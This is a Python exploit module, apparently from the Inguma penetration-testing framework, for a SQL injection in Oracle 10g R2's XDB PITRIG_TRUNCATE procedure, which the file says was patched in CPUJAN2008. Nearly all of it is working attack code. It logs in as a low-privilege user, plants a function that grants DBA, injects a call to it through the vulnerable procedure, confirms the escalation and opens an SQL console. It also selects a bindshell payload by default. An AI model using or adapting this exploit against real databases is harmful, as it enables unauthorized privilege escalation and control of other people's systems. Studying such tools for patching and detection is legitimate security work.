#!/usr/bin/python

##      OraPitrigTruncate.py
#       
#       Copyright 2010 Joxean Koret <joxeankoret@yahoo.es>
#       
#       This program is free software; you can redistribute it and/or modify
#       it under the terms of the GNU General Public License as published by
#       the Free Software Foundation; either version 2 of the License, or
#       (at your option) any later version.
#       
#       This program is distributed in the hope that it will be useful,
#       but WITHOUT ANY WARRANTY; without even the implied warranty of
#       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#       GNU General Public License for more details.
#       
#       You should have received a copy of the GNU General Public License
#       along with this program; if not, write to the Free Software
#       Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
#       MA 02110-1301, USA.

"""
Oracle 10g R2 SQL Injection exploit for Inguma
"""

import sys
import time
import socket
import cx_Oracle

from lib.libexploit import CIngumaModule
from payloads.oracle import run_command

name = "orainject13"
brief_description = "Oracle 10g R2 PITRIG_TRUNCATE SQL Injection"
type = "exploit"
affects = ["Oracle 10g XDB SQL Injection"]
description = """
Oracle 10g is vulnerable to a remote authenticated SQL Injection. 
Tested in Oracle 10g R2.
"""

patch = "Fixed in CPUJAN2008"
category = "exploit"
discoverer = "Joxean Koret"
author = "Joxean Koret <joxeankoret@yahoo.es>"

globals = ["sid", ]

funnyProc = """
CREATE OR REPLACE FUNCTION %FUNCTION%
  RETURN VARCHAR2 AUTHID CURRENT_USER
IS
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO %USER%';
  COMMIT;
  RETURN NULL;
END;"""

funnyCall = """
BEGIN
  XDB.XDB_PITRIG_PKG.PITRIG_TRUNCATE('SYS', 'DUAL" WHERE %USER%.%FUNCTION%=1--');
END;
"""

class COraPitrigTruncate(CIngumaModule):
    target = ""
    port = 1521
    waitTime = 0
    timeout = 1
    exploitType = 1
    services = {}
    results = {}
    dict = None
    interactive = True
    command = ""
    sid = ""
    user = ""
    password = ""
    covert = 0
    connection = None

    def run(self):
        if self.target == "" or self.target is None:
            self.target = "localhost"
        
        if self.port == 0 or self.port is None:
            self.port = 1521

        if self.sid == "":
            print "[+] No sid selected, using ORCL"
            self.sid = "ORCL"

        if self.payload < 1:
            print "[+] No payload selected. Using 'bindshell' (payload = 2)"
            self.payload = 2

        link    = "%s/%s@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=%s)(PORT=%d)))" % (self.user, self.password, self.target, self.port)
        link += "(CONNECT_DATA=(SERVICE_NAME=%s)))" % self.sid
        print link

        self.connection = cx_Oracle.connect(link)
        self.connection.rollback()
        self.connection.commit()
        cur = self.connection.cursor()
        cur.execute("alter session set sql_trace = true")

        print "[+] Using payload run_command to grant DBA... "

        objRun = run_command.CPayload()
        objRun.idsTechniques = self.covert
        objRun.user = self.user
        objRun.command = "GRANT DBA TO " + self.user
        objRun.connection = self.connection
        objRun.method = 0
        data = objRun.run()

        self.function = objRun.function

        try:
            print "[+] Creating a funny function"
            tmp = funnyProc.replace("%USER%", self.user).replace("%FUNCTION%", objRun.function).upper()
            print tmp
            cur.execute(tmp)
        except:
            if str(sys.exc_info()[1]).find("ORA-00955:") > -1:
                print "[!] Warning! A previous attempt have been detected!"

        try:
            print "[+] Injecting data"
            tmp = funnyCall.replace("%USER%", self.user).replace("%FUNCTION%", objRun.function).upper()
            print tmp
            cur.execute(tmp)
        except:
            err = sys.exc_info()[1]

            if str(err).find("ORA-44003:") > -1:
                print "[!] Vulnerability appears to be fixed with DBMS_ASSERT, exploit doesn't work :("
                self.connection.close()
                return False
            else:
                print err

        print "[+] Verifying ... "

        sql = "select 1 from user_role_privs where granted_role = 'DBA'"
        cur.execute(sql)

        for x in cur.fetchall():
            print "[+] Exploit works! You're DBA."
            self.connection.close()
            print "[+] Opening an SQL terminal."
            self.runCommand("oratool", {"console":True})
            return True

        print "[!] Exploit doesn't work  :("
        self.connection.close()
        return False

    def printSummary(self):
        pass
